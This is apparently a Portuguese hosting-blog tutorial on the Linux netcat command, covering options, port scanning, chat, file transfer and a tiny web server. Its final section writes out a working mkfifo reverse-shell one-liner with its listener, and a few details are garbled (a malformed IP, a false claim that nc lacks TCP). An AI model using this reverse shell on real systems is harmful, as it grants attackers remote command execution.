Formas de pagamento Abuse

Para que serve o comando NC no Linux

29.08.2024, 02:19

O comando netcat é necessário para enviar e receber dados usando os protocolos TCP e UDP. Não tem um grande conjunto de funções, mas é suficiente para a verificação da ligação e depuração simples. Como comunicar através do protocolo TCP? Esta pergunta é feita por muitos utilizadores. Neste artigo, responderemos a essa pergunta e também mostraremos exemplos de aplicação real do comando.

O que é que o comando faz?

O comando netcat (ou nc) é uma ferramenta poderosa para trabalhar com ligações de rede. É frequentemente utilizado por administradores de sistemas e programadores para várias tarefas. Aqui estão as principais funções e recursos do netcat:

  1. Estabelecimento de conexões TCP/UDP: permite estabelecer conexões com hosts remotos usando os protocolos TCP e UDP.
  2. Escuta de portas: pode ser utilizado como um servidor para escutar as ligações de entrada numa porta específica
  3. Transferência de dados: transfere dados entre computadores através de uma rede. Pode ser útil para transferência de ficheiros ou envio de mensagens.
  4. Depurar aplicações de rede: utilizado para testar e depurar serviços de rede, permitindo-lhe enviar e receber dados arbitrários.
  5. Criar chats simples: é possível estabelecer uma comunicação de texto simples entre dois sistemas
  6. Pesquisa de portas: pode ser utilizada para verificar se existem portas abertas em anfitriões remotos.
  7. Tunelamento: pode ser utilizado para criar túneis para redirecionar o tráfego através de outras portas ou anfitriões.
  8. Trabalhar com proxies: pode ser utilizado para trabalhar com servidores proxy e efetuar várias tarefas de rede.

O netcat é uma ferramenta versátil que pode ser utilizada numa grande variedade de cenários, desde simples mensagens a operações de rede complexas.

Opções

Comecemos por ver a sintaxe e as opções mais populares:

  • -6 - usa o protocolo IPv6. A predefinição é -4 e IPv4, respetivamente;
  • -h - mostra a ajuda com a lista de parâmetros disponíveis;
  • -i - delay - adiciona um atraso entre o envio de strings ou o scan de portas. É definido em segundos;
  • -l - modo de escuta. Usado com a especificação da porta;
  • -N - fecha a ligação quando o fim do ficheiro é atingido ao enviá-lo;
  • -n - Trabalha com endereços IP diretamente sem DNS, também desactiva o scan de portas;
  • -P - nome_do_utilizador - especifica o nome do utilizador a ligar ao proxy;
  • -x - endereço:porta - especifica o endereço e a porta para ligação ao proxy;
  • -p - porta - especifica o número da porta. Na maioria dos casos, a porta é lida sem especificar o parâmetro;
  • -U - usa o soquete de domínio UNIX (para comunicação entre processos);
  • -u - usa o protocolo UDP, por padrão é usado o TCP;
  • -v - modo detalhado. Usado durante a varredura;
  • -W number_packets - fecha a conexão após receber um certo número de pacotes;
  • -w timer - ativa o temporizador para limitar o tempo de ligação. É definido em segundos;
  • -z - desativar o envio de dados. É utilizado durante o scanning.

O comando tem a seguinte forma (parâmetros endereço da porta):

$ nc

De seguida, vamos dizer-lhe como utilizar o comando.

Verificação do porto

A verificação é a principal utilização do netcat. Deve utilizar dois parâmetros -vz, especificar o endereço e a porta. Pode especificar um intervalo de endereços, mas neste caso é melhor peneirar apenas os portos abertos com o comandogrep. Vamos analisar as portas do endereço de rede local:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Da mesma forma, vamos examinar as portas UDP adicionando o parâmetro -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Deve saber a principal diferença entre TCP e UDP. Portanto, as portas UDP estão sempre disponíveis.

Escutar a porta

O parâmetro -l destina-se a escutar a porta. Muitas vezes é suficiente, mas é possível ativar o modo detalhado:

$ nc -nlv 8080

Lembre-se que ao usar o protocolo TCP, a porta deve estar livre, caso contrário aparecerá o erro Já em uso. Nem todas as portas podem ser utilizadas por utilizadores normais, por exemplo a porta 80 (HTTP), muito provavelmente estará ocupada por outro processo e necessitará de direitos de superutilizador.

Troca de ficheiros

Uma capacidade útil do comando é a troca de dados. Um exemplo simples é uma sala de chat de texto. Para iniciar um chat num computador, execute o utilitário no modo de escuta de porta:

$ nc -lp 8080

No outro computador, terá de especificar o endereço do primeiro computador e a mesma porta. Não se esqueça também de verificar se a porta está aberta:

$ nc 0.0.0.0 8080

Desta forma, será possível enviar e receber mensagens. Ou seja, o comando destina-se à troca de ficheiros. O princípio é o mesmo, exceto que é necessário redirecionar a saída para um ficheiro, nomeadamente paste.txt:

$ nc -l 8080 > paste.txt

No outro PC, o ficheiro copy.txt servirá de entrada. Não é supérfluo utilizar o parâmetro -N para fechar a ligação após a transferência de ficheiros:

$ nc -N 0.0.0.0 8080 < copy.txt

Para a transferência de ficheiros, é importante seguir a sequência, primeiro abrir a escuta e só depois enviar o ficheiro. O comando nc é uma ferramenta funcional, mas está longe de ser a melhor forma de transferir ficheiros. Existem ferramentas mais eficientes e úteis para essa tarefa.

Um servidor Web simples

Uma vez que o comando NC não funciona com o protocolo TCP, permite enviar e receber pedidos HTTP. Assim, o utilitário pode se tornar um simples servidor web. Sim, não pode fazer nada mais complicado do que uma página em branco desta forma, mas a operação não demora quase nada, e a vantagem é que não precisa de instalar nada adicional.

No formulário de exemplo, resposta HTTP com o ficheiro index.html. Falando do próprio np, é uma boa ideia definir um temporizador com o parâmetro -w 1 para quebrar a ligação se o browser não o fizer:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Para obter dados de um sítio Web, pode formular um pedido e enviá-lo para o endereço e porta aconselhados. Mas esta forma é bastante complicada, é melhor usar o comando CURL apropriado.

Shell remota

Com base nos exemplos discutidos acima, não será difícil concluir que o comando permite-lhe organizar o acesso remoto à shell do computador. Anteriormente, o utilitário NC tinha vários parâmetros para abrir o acesso ao terminal. O parâmetro -e foi retirado do utilitário há muito tempo, pelo que deixará de haver um simples acesso ao terminal. A segurança da própria aplicação tornou-se mais elevada, mas pode continuar a funcionar em conjunto com outras.

Vamos mostrar a conexão usando o canal nomeado mkfifo. Antes de mais, vamos começar a escutar a porta do PC onde vamos ter acesso:

$ nc -lvnp 8080

Vamos diretamente ao comando para abrir o terminal. Primeiro, apagar o antigo canal nomeado(rm /tmp/f), criar um novo no seu lugar(mkfifo /tmp/f), ler o seu conteúdo(cat /tmp/f) e enviar um comando shell para a sua saída(sh -i 2>&1). Depois disso, resta executar o nc com a saída para o nosso canal nomeado(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Tenha em mente que esta é uma forma de hacking, no entanto, pode ser útil se houver problemas com o ssh. Para evitar o ataque, configure uma política de segurança e uma firewall.